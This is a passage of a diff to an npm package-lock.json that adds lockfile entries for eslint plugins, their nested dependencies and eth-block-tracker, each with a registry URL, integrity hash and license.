12396+ "node_modules/eslint-config-react-app": {
12397+ "version": "7.0.1",
12398+ "resolved": "https://registry.npmjs.org/eslint-config-react-app/-/eslint-config-react-app-7.0.1.tgz",
12399+ "integrity": "sha512-K6rNzvkIeHaTd8m/QEh1Zko0KI7BACWkkneSs6s9cKZC/J27X3eZR6Upt1jkmZ/4FK+XUOPPxMEN7+lbUXfSlA==",
12400+ "license": "MIT",
12401+ "dependencies": {
12402+ "@babel/core": "^7.16.0",
12403+ "@babel/eslint-parser": "^7.16.3",
12404+ "@rushstack/eslint-patch": "^1.1.0",
12405+ "@typescript-eslint/eslint-plugin": "^5.5.0",
12406+ "@typescript-eslint/parser": "^5.5.0",
12407+ "babel-preset-react-app": "^10.0.1",
12408+ "confusing-browser-globals": "^1.0.11",
12409+ "eslint-plugin-flowtype": "^8.0.3",
12410+ "eslint-plugin-import": "^2.25.3",
12411+ "eslint-plugin-jest": "^25.3.0",
12412+ "eslint-plugin-jsx-a11y": "^6.5.1",
12413+ "eslint-plugin-react": "^7.27.1",
12414+ "eslint-plugin-react-hooks": "^4.3.0",
12415+ "eslint-plugin-testing-library": "^5.0.1"
12416+ },
12417+ "engines": {
12418+ "node": ">=14.0.0"
12419+ },
12420+ "peerDependencies": {
12421+ "eslint": "^8.0.0"
12422+ }
12423+ },
12424+ "node_modules/eslint-import-resolver-node": {
12425+ "version": "0.3.9",
12426+ "resolved": "https://registry.npmjs.org/eslint-import-resolver-node/-/eslint-import-resolver-node-0.3.9.tgz",
12427+ "integrity": "sha512-WFj2isz22JahUv+B788TlO3N6zL3nNJGU8CcZbPZvVEkBPaJdCV4vy5wyghty5ROFbCRnm132v8BScu5/1BQ8g==",
12428+ "license": "MIT",
12429+ "dependencies": {
12430+ "debug": "^3.2.7",
12431+ "is-core-module": "^2.13.0",
12432+ "resolve": "^1.22.4"
12433+ }
12434+ },
12435+ "node_modules/eslint-import-resolver-node/node_modules/debug": {
12436+ "version": "3.2.7",
12437+ "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
12438+ "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
12439+ "license": "MIT",
12440+ "dependencies": {
12441+ "ms": "^2.1.1"
12442+ }
12443+ },
12444+ "node_modules/eslint-import-resolver-node/node_modules/ms": {
12445+ "version": "2.1.3",
12446+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
12447+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
12448+ "license": "MIT"
12449+ },
12450+ "node_modules/eslint-module-utils": {
12451+ "version": "2.12.1",
12452+ "resolved": "https://registry.npmjs.org/eslint-module-utils/-/eslint-module-utils-2.12.1.tgz",
12453+ "integrity": "sha512-L8jSWTze7K2mTg0vos/RuLRS5soomksDPoJLXIslC7c8Wmut3bx7CPpJijDcBZtxQ5lrbUdM+s0OlNbz0DCDNw==",
12454+ "license": "MIT",
12455+ "dependencies": {
12456+ "debug": "^3.2.7"
12457+ },
12458+ "engines": {
12459+ "node": ">=4"
12460+ },
12461+ "peerDependenciesMeta": {
12462+ "eslint": {
12463+ "optional": true
12464+ }
12465+ }
12466+ },
12467+ "node_modules/eslint-module-utils/node_modules/debug": {
12468+ "version": "3.2.7",
12469+ "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
12470+ "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
12471+ "license": "MIT",
12472+ "dependencies": {
12473+ "ms": "^2.1.1"
12474+ }
12475+ },
12476+ "node_modules/eslint-module-utils/node_modules/ms": {
12477+ "version": "2.1.3",
12478+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
12479+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
12480+ "license": "MIT"
12481+ },
12482+ "node_modules/eslint-plugin-flowtype": {
12483+ "version": "8.0.3",
12484+ "resolved": "https://registry.npmjs.org/eslint-plugin-flowtype/-/eslint-plugin-flowtype-8.0.3.tgz",
12485+ "integrity": "sha512-dX8l6qUL6O+fYPtpNRideCFSpmWOUVx5QcaGLVqe/vlDiBSe4vYljDWDETwnyFzpl7By/WVIu6rcrniCgH9BqQ==",
12486+ "license": "BSD-3-Clause",
12487+ "dependencies": {
12488+ "lodash": "^4.17.21",
12489+ "string-natural-compare": "^3.0.1"
12490+ },
12491+ "engines": {
12492+ "node": ">=12.0.0"
12493+ },
12494+ "peerDependencies": {
12495+ "@babel/plugin-syntax-flow": "^7.14.5",
12496+ "@babel/plugin-transform-react-jsx": "^7.14.9",
12497+ "eslint": "^8.1.0"
12498+ }
12499+ },
12500+ "node_modules/eslint-plugin-import": {
12501+ "version": "2.32.0",
12502+ "resolved": "https://registry.npmjs.org/eslint-plugin-import/-/eslint-plugin-import-2.32.0.tgz",
12503+ "integrity": "sha512-whOE1HFo/qJDyX4SnXzP4N6zOWn79WhnCUY/iDR0mPfQZO8wcYE4JClzI2oZrhBnnMUCBCHZhO6VQyoBU95mZA==",
12504+ "license": "MIT",
12505+ "dependencies": {
12506+ "@rtsao/scc": "^1.1.0",
12507+ "array-includes": "^3.1.9",
12508+ "array.prototype.findlastindex": "^1.2.6",
12509+ "array.prototype.flat": "^1.3.3",
12510+ "array.prototype.flatmap": "^1.3.3",
12511+ "debug": "^3.2.7",
12512+ "doctrine": "^2.1.0",
12513+ "eslint-import-resolver-node": "^0.3.9",
12514+ "eslint-module-utils": "^2.12.1",
12515+ "hasown": "^2.0.2",
12516+ "is-core-module": "^2.16.1",
12517+ "is-glob": "^4.0.3",
12518+ "minimatch": "^3.1.2",
12519+ "object.fromentries": "^2.0.8",
12520+ "object.groupby": "^1.0.3",
12521+ "object.values": "^1.2.1",
12522+ "semver": "^6.3.1",
12523+ "string.prototype.trimend": "^1.0.9",
12524+ "tsconfig-paths": "^3.15.0"
12525+ },
12526+ "engines": {
12527+ "node": ">=4"
12528+ },
12529+ "peerDependencies": {
12530+ "eslint": "^2 || ^3 || ^4 || ^5 || ^6 || ^7.2.0 || ^8 || ^9"
12531+ }
12532+ },
12533+ "node_modules/eslint-plugin-import/node_modules/debug": {
12534+ "version": "3.2.7",
12535+ "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
12536+ "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
12537+ "license": "MIT",
12538+ "dependencies": {
12539+ "ms": "^2.1.1"
12540+ }
12541+ },
12542+ "node_modules/eslint-plugin-import/node_modules/doctrine": {
12543+ "version": "2.1.0",
12544+ "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz",
12545+ "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==",
12546+ "license": "Apache-2.0",
12547+ "dependencies": {
12548+ "esutils": "^2.0.2"
12549+ },
12550+ "engines": {
12551+ "node": ">=0.10.0"
12552+ }
12553+ },
12554+ "node_modules/eslint-plugin-import/node_modules/ms": {
12555+ "version": "2.1.3",
12556+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
12557+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
12558+ "license": "MIT"
12559+ },
12560+ "node_modules/eslint-plugin-import/node_modules/semver": {
12561+ "version": "6.3.1",
12562+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
12563+ "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
12564+ "license": "ISC",
12565+ "bin": {
12566+ "semver": "bin/semver.js"
12567+ }
12568+ },
12569+ "node_modules/eslint-plugin-jest": {
12570+ "version": "25.7.0",
12571+ "resolved": "https://registry.npmjs.org/eslint-plugin-jest/-/eslint-plugin-jest-25.7.0.tgz",
12572+ "integrity": "sha512-PWLUEXeeF7C9QGKqvdSbzLOiLTx+bno7/HC9eefePfEb257QFHg7ye3dh80AZVkaa/RQsBB1Q/ORQvg2X7F0NQ==",
12573+ "license": "MIT",
12574+ "dependencies": {
12575+ "@typescript-eslint/experimental-utils": "^5.0.0"
12576+ },
12577+ "engines": {
12578+ "node": "^12.13.0 || ^14.15.0 || >=16.0.0"
12579+ },
12580+ "peerDependencies": {
12581+ "@typescript-eslint/eslint-plugin": "^4.0.0 || ^5.0.0",
12582+ "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0"
12583+ },
12584+ "peerDependenciesMeta": {
12585+ "@typescript-eslint/eslint-plugin": {
12586+ "optional": true
12587+ },
12588+ "jest": {
12589+ "optional": true
12590+ }
12591+ }
12592+ },
12593+ "node_modules/eslint-plugin-jsx-a11y": {
12594+ "version": "6.10.2",
12595+ "resolved": "https://registry.npmjs.org/eslint-plugin-jsx-a11y/-/eslint-plugin-jsx-a11y-6.10.2.tgz",
12596+ "integrity": "sha512-scB3nz4WmG75pV8+3eRUQOHZlNSUhFNq37xnpgRkCCELU3XMvXAxLk1eqWWyE22Ki4Q01Fnsw9BA3cJHDPgn2Q==",
12597+ "license": "MIT",
12598+ "dependencies": {
12599+ "aria-query": "^5.3.2",
12600+ "array-includes": "^3.1.8",
12601+ "array.prototype.flatmap": "^1.3.2",
12602+ "ast-types-flow": "^0.0.8",
12603+ "axe-core": "^4.10.0",
12604+ "axobject-query": "^4.1.0",
12605+ "damerau-levenshtein": "^1.0.8",
12606+ "emoji-regex": "^9.2.2",
12607+ "hasown": "^2.0.2",
12608+ "jsx-ast-utils": "^3.3.5",
12609+ "language-tags": "^1.0.9",
12610+ "minimatch": "^3.1.2",
12611+ "object.fromentries": "^2.0.8",
12612+ "safe-regex-test": "^1.0.3",
12613+ "string.prototype.includes": "^2.0.1"
12614+ },
12615+ "engines": {
12616+ "node": ">=4.0"
12617+ },
12618+ "peerDependencies": {
12619+ "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9"
12620+ }
12621+ },
12622+ "node_modules/eslint-plugin-jsx-a11y/node_modules/aria-query": {
12623+ "version": "5.3.2",
12624+ "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.2.tgz",
12625+ "integrity": "sha512-COROpnaoap1E2F000S62r6A60uHZnmlvomhfyT2DlTcrY1OrBKn2UhH7qn5wTC9zMvD0AY7csdPSNwKP+7WiQw==",
12626+ "license": "Apache-2.0",
12627+ "engines": {
12628+ "node": ">= 0.4"
12629+ }
12630+ },
12631+ "node_modules/eslint-plugin-react": {
12632+ "version": "7.37.5",
12633+ "resolved": "https://registry.npmjs.org/eslint-plugin-react/-/eslint-plugin-react-7.37.5.tgz",
12634+ "integrity": "sha512-Qteup0SqU15kdocexFNAJMvCJEfa2xUKNV4CC1xsVMrIIqEy3SQ/rqyxCWNzfrd3/ldy6HMlD2e0JDVpDg2qIA==",
12635+ "license": "MIT",
12636+ "dependencies": {
12637+ "array-includes": "^3.1.8",
12638+ "array.prototype.findlast": "^1.2.5",
12639+ "array.prototype.flatmap": "^1.3.3",
12640+ "array.prototype.tosorted": "^1.1.4",
12641+ "doctrine": "^2.1.0",
12642+ "es-iterator-helpers": "^1.2.1",
12643+ "estraverse": "^5.3.0",
12644+ "hasown": "^2.0.2",
12645+ "jsx-ast-utils": "^2.4.1 || ^3.0.0",
12646+ "minimatch": "^3.1.2",
12647+ "object.entries": "^1.1.9",
12648+ "object.fromentries": "^2.0.8",
12649+ "object.values": "^1.2.1",
12650+ "prop-types": "^15.8.1",
12651+ "resolve": "^2.0.0-next.5",
12652+ "semver": "^6.3.1",
12653+ "string.prototype.matchall": "^4.0.12",
12654+ "string.prototype.repeat": "^1.0.0"
12655+ },
12656+ "engines": {
12657+ "node": ">=4"
12658+ },
12659+ "peerDependencies": {
12660+ "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9.7"
12661+ }
12662+ },
12663+ "node_modules/eslint-plugin-react-hooks": {
12664+ "version": "4.6.2",
12665+ "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-4.6.2.tgz",
12666+ "integrity": "sha512-QzliNJq4GinDBcD8gPB5v0wh6g8q3SUi6EFF0x8N/BL9PoVs0atuGc47ozMRyOWAKdwaZ5OnbOEa3WR+dSGKuQ==",
12667+ "license": "MIT",
12668+ "engines": {
12669+ "node": ">=10"
12670+ },
12671+ "peerDependencies": {
12672+ "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0"
12673+ }
12674+ },
12675+ "node_modules/eslint-plugin-react/node_modules/doctrine": {
12676+ "version": "2.1.0",
12677+ "resolved": "https://registry.npmjs.org/doctrine/-/doctrine-2.1.0.tgz",
12678+ "integrity": "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw==",
12679+ "license": "Apache-2.0",
12680+ "dependencies": {
12681+ "esutils": "^2.0.2"
12682+ },
12683+ "engines": {
12684+ "node": ">=0.10.0"
12685+ }
12686+ },
12687+ "node_modules/eslint-plugin-react/node_modules/resolve": {
12688+ "version": "2.0.0-next.5",
12689+ "resolved": "https://registry.npmjs.org/resolve/-/resolve-2.0.0-next.5.tgz",
12690+ "integrity": "sha512-U7WjGVG9sH8tvjW5SmGbQuui75FiyjAX72HX15DwBBwF9dNiQZRQAg9nnPhYy+TUnE0+VcrttuvNI8oSxZcocA==",
12691+ "license": "MIT",
12692+ "dependencies": {
12693+ "is-core-module": "^2.13.0",
12694+ "path-parse": "^1.0.7",
12695+ "supports-preserve-symlinks-flag": "^1.0.0"
12696+ },
12697+ "bin": {
12698+ "resolve": "bin/resolve"
12699+ },
12700+ "funding": {
12701+ "url": "https://github.com/sponsors/ljharb"
12702+ }
12703+ },
12704+ "node_modules/eslint-plugin-react/node_modules/semver": {
12705+ "version": "6.3.1",
12706+ "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
12707+ "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
12708+ "license": "ISC",
12709+ "bin": {
12710+ "semver": "bin/semver.js"
12711+ }
12712+ },
12713+ "node_modules/eslint-plugin-testing-library": {
12714+ "version": "5.11.1",
12715+ "resolved": "https://registry.npmjs.org/eslint-plugin-testing-library/-/eslint-plugin-testing-library-5.11.1.tgz",
12716+ "integrity": "sha512-5eX9e1Kc2PqVRed3taaLnAAqPZGEX75C+M/rXzUAI3wIg/ZxzUm1OVAwfe/O+vE+6YXOLetSe9g5GKD2ecXipw==",
12717+ "license": "MIT",
12718+ "dependencies": {
12719+ "@typescript-eslint/utils": "^5.58.0"
12720+ },
12721+ "engines": {
12722+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0",
12723+ "npm": ">=6"
12724+ },
12725+ "peerDependencies": {
12726+ "eslint": "^7.5.0 || ^8.0.0"
12727+ }
12728+ },
12729+ "node_modules/eslint-scope": {
12730+ "version": "7.2.2",
12731+ "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.2.2.tgz",
12732+ "integrity": "sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==",
12733+ "license": "BSD-2-Clause",
12734+ "dependencies": {
12735+ "esrecurse": "^4.3.0",
12736+ "estraverse": "^5.2.0"
12737+ },
12738+ "engines": {
12739+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
12740+ },
12741+ "funding": {
12742+ "url": "https://opencollective.com/eslint"
12743+ }
12744+ },
12745+ "node_modules/eslint-visitor-keys": {
12746+ "version": "3.4.3",
12747+ "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz",
12748+ "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==",
12749+ "license": "Apache-2.0",
12750+ "engines": {
12751+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
12752+ },
12753+ "funding": {
12754+ "url": "https://opencollective.com/eslint"
12755+ }
12756+ },
12757+ "node_modules/eslint-webpack-plugin": {
12758+ "version": "3.2.0",
12759+ "resolved": "https://registry.npmjs.org/eslint-webpack-plugin/-/eslint-webpack-plugin-3.2.0.tgz",
12760+ "integrity": "sha512-avrKcGncpPbPSUHX6B3stNGzkKFto3eL+DKM4+VyMrVnhPc3vRczVlCq3uhuFOdRvDHTVXuzwk1ZKUrqDQHQ9w==",
12761+ "license": "MIT",
12762+ "dependencies": {
12763+ "@types/eslint": "^7.29.0 || ^8.4.1",
12764+ "jest-worker": "^28.0.2",
12765+ "micromatch": "^4.0.5",
12766+ "normalize-path": "^3.0.0",
12767+ "schema-utils": "^4.0.0"
12768+ },
12769+ "engines": {
12770+ "node": ">= 12.13.0"
12771+ },
12772+ "funding": {
12773+ "type": "opencollective",
12774+ "url": "https://opencollective.com/webpack"
12775+ },
12776+ "peerDependencies": {
12777+ "eslint": "^7.0.0 || ^8.0.0",
12778+ "webpack": "^5.0.0"
12779+ }
12780+ },
12781+ "node_modules/eslint-webpack-plugin/node_modules/jest-worker": {
12782+ "version": "28.1.3",
12783+ "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-28.1.3.tgz",
12784+ "integrity": "sha512-CqRA220YV/6jCo8VWvAt1KKx6eek1VIHMPeLEbpcfSfkEeWyBNppynM/o6q+Wmw+sOhos2ml34wZbSX3G13//g==",
12785+ "license": "MIT",
12786+ "dependencies": {
12787+ "@types/node": "*",
12788+ "merge-stream": "^2.0.0",
12789+ "supports-color": "^8.0.0"
12790+ },
12791+ "engines": {
12792+ "node": "^12.13.0 || ^14.15.0 || ^16.10.0 || >=17.0.0"
12793+ }
12794+ },
12795+ "node_modules/eslint-webpack-plugin/node_modules/supports-color": {
12796+ "version": "8.1.1",
12797+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
12798+ "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==",
12799+ "license": "MIT",
12800+ "dependencies": {
12801+ "has-flag": "^4.0.0"
12802+ },
12803+ "engines": {
12804+ "node": ">=10"
12805+ },
12806+ "funding": {
12807+ "url": "https://github.com/chalk/supports-color?sponsor=1"
12808+ }
12809+ },
12810+ "node_modules/eslint/node_modules/argparse": {
12811+ "version": "2.0.1",
12812+ "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
12813+ "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==",
12814+ "license": "Python-2.0"
12815+ },
12816+ "node_modules/eslint/node_modules/chalk": {
12817+ "version": "4.1.2",
12818+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
12819+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
12820+ "license": "MIT",
12821+ "dependencies": {
12822+ "ansi-styles": "^4.1.0",
12823+ "supports-color": "^7.1.0"
12824+ },
12825+ "engines": {
12826+ "node": ">=10"
12827+ },
12828+ "funding": {
12829+ "url": "https://github.com/chalk/chalk?sponsor=1"
12830+ }
12831+ },
12832+ "node_modules/eslint/node_modules/debug": {
12833+ "version": "4.4.3",
12834+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
12835+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
12836+ "license": "MIT",
12837+ "dependencies": {
12838+ "ms": "^2.1.3"
12839+ },
12840+ "engines": {
12841+ "node": ">=6.0"
12842+ },
12843+ "peerDependenciesMeta": {
12844+ "supports-color": {
12845+ "optional": true
12846+ }
12847+ }
12848+ },
12849+ "node_modules/eslint/node_modules/find-up": {
12850+ "version": "5.0.0",
12851+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz",
12852+ "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==",
12853+ "license": "MIT",
12854+ "dependencies": {
12855+ "locate-path": "^6.0.0",
12856+ "path-exists": "^4.0.0"
12857+ },
12858+ "engines": {
12859+ "node": ">=10"
12860+ },
12861+ "funding": {
12862+ "url": "https://github.com/sponsors/sindresorhus"
12863+ }
12864+ },
12865+ "node_modules/eslint/node_modules/js-yaml": {
12866+ "version": "4.1.1",
12867+ "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz",
12868+ "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==",
12869+ "license": "MIT",
12870+ "dependencies": {
12871+ "argparse": "^2.0.1"
12872+ },
12873+ "bin": {
12874+ "js-yaml": "bin/js-yaml.js"
12875+ }
12876+ },
12877+ "node_modules/eslint/node_modules/locate-path": {
12878+ "version": "6.0.0",
12879+ "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz",
12880+ "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==",
12881+ "license": "MIT",
12882+ "dependencies": {
12883+ "p-locate": "^5.0.0"
12884+ },
12885+ "engines": {
12886+ "node": ">=10"
12887+ },
12888+ "funding": {
12889+ "url": "https://github.com/sponsors/sindresorhus"
12890+ }
12891+ },
12892+ "node_modules/eslint/node_modules/ms": {
12893+ "version": "2.1.3",
12894+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
12895+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
12896+ "license": "MIT"
12897+ },
12898+ "node_modules/eslint/node_modules/p-limit": {
12899+ "version": "3.1.0",
12900+ "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz",
12901+ "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==",
12902+ "license": "MIT",
12903+ "dependencies": {
12904+ "yocto-queue": "^0.1.0"
12905+ },
12906+ "engines": {
12907+ "node": ">=10"
12908+ },
12909+ "funding": {
12910+ "url": "https://github.com/sponsors/sindresorhus"
12911+ }
12912+ },
12913+ "node_modules/eslint/node_modules/p-locate": {
12914+ "version": "5.0.0",
12915+ "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz",
12916+ "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==",
12917+ "license": "MIT",
12918+ "dependencies": {
12919+ "p-limit": "^3.0.2"
12920+ },
12921+ "engines": {
12922+ "node": ">=10"
12923+ },
12924+ "funding": {
12925+ "url": "https://github.com/sponsors/sindresorhus"
12926+ }
12927+ },
12928+ "node_modules/espree": {
12929+ "version": "9.6.1",
12930+ "resolved": "https://registry.npmjs.org/espree/-/espree-9.6.1.tgz",
12931+ "integrity": "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==",
12932+ "license": "BSD-2-Clause",
12933+ "dependencies": {
12934+ "acorn": "^8.9.0",
12935+ "acorn-jsx": "^5.3.2",
12936+ "eslint-visitor-keys": "^3.4.1"
12937+ },
12938+ "engines": {
12939+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
12940+ },
12941+ "funding": {
12942+ "url": "https://opencollective.com/eslint"
12943+ }
12944+ },
12945+ "node_modules/esprima": {
12946+ "version": "4.0.1",
12947+ "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz",
12948+ "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==",
12949+ "license": "BSD-2-Clause",
12950+ "bin": {
12951+ "esparse": "bin/esparse.js",
12952+ "esvalidate": "bin/esvalidate.js"
12953+ },
12954+ "engines": {
12955+ "node": ">=4"
12956+ }
12957+ },
12958+ "node_modules/esquery": {
12959+ "version": "1.6.0",
12960+ "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.6.0.tgz",
12961+ "integrity": "sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==",
12962+ "license": "BSD-3-Clause",
12963+ "dependencies": {
12964+ "estraverse": "^5.1.0"
12965+ },
12966+ "engines": {
12967+ "node": ">=0.10"
12968+ }
12969+ },
12970+ "node_modules/esrecurse": {
12971+ "version": "4.3.0",
12972+ "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz",
12973+ "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==",
12974+ "license": "BSD-2-Clause",
12975+ "dependencies": {
12976+ "estraverse": "^5.2.0"
12977+ },
12978+ "engines": {
12979+ "node": ">=4.0"
12980+ }
12981+ },
12982+ "node_modules/estraverse": {
12983+ "version": "5.3.0",
12984+ "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz",
12985+ "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==",
12986+ "license": "BSD-2-Clause",
12987+ "engines": {
12988+ "node": ">=4.0"
12989+ }
12990+ },
12991+ "node_modules/estree-walker": {
12992+ "version": "2.0.2",
12993+ "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz",
12994+ "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==",
12995+ "license": "MIT"
12996+ },
12997+ "node_modules/esutils": {
12998+ "version": "2.0.3",
12999+ "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz",
13000+ "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==",
13001+ "license": "BSD-2-Clause",
13002+ "engines": {
13003+ "node": ">=0.10.0"
13004+ }
13005+ },
13006+ "node_modules/etag": {
13007+ "version": "1.8.1",
13008+ "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz",
13009+ "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==",
13010+ "license": "MIT",
13011+ "engines": {
13012+ "node": ">= 0.6"
13013+ }
13014+ },
13015+ "node_modules/eth-block-tracker": {
13016+ "version": "4.4.3",
13017+ "resolved": "https://registry.npmjs.org/eth-block-tracker/-/eth-block-tracker-4.4.3.tgz",
13018+ "integrity": "sha512-A8tG4Z4iNg4mw5tP1Vung9N9IjgMNqpiMoJ/FouSFwNCGHv2X0mmOYwtQOJzki6XN7r7Tyo01S29p7b224I4jw==",
13019+ "license": "MIT",
13020+ "dependencies": {
13021+ "@babel/plugin-transform-runtime": "^7.5.5",
13022+ "@babel/runtime": "^7.5.5",
13023+ "eth-query": "^2.1.0",
13024+ "json-rpc-random-id": "^1.0.1",
13025+ "pify": "^3.0.0",
13026+ "safe-event-emitter": "^1.0.1"
13027+ }
13028+ },
13029+ "node_modules/eth-block-tracker/node_modules/pify": {
13030+ "version": "3.0.0",
13031+ "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz",
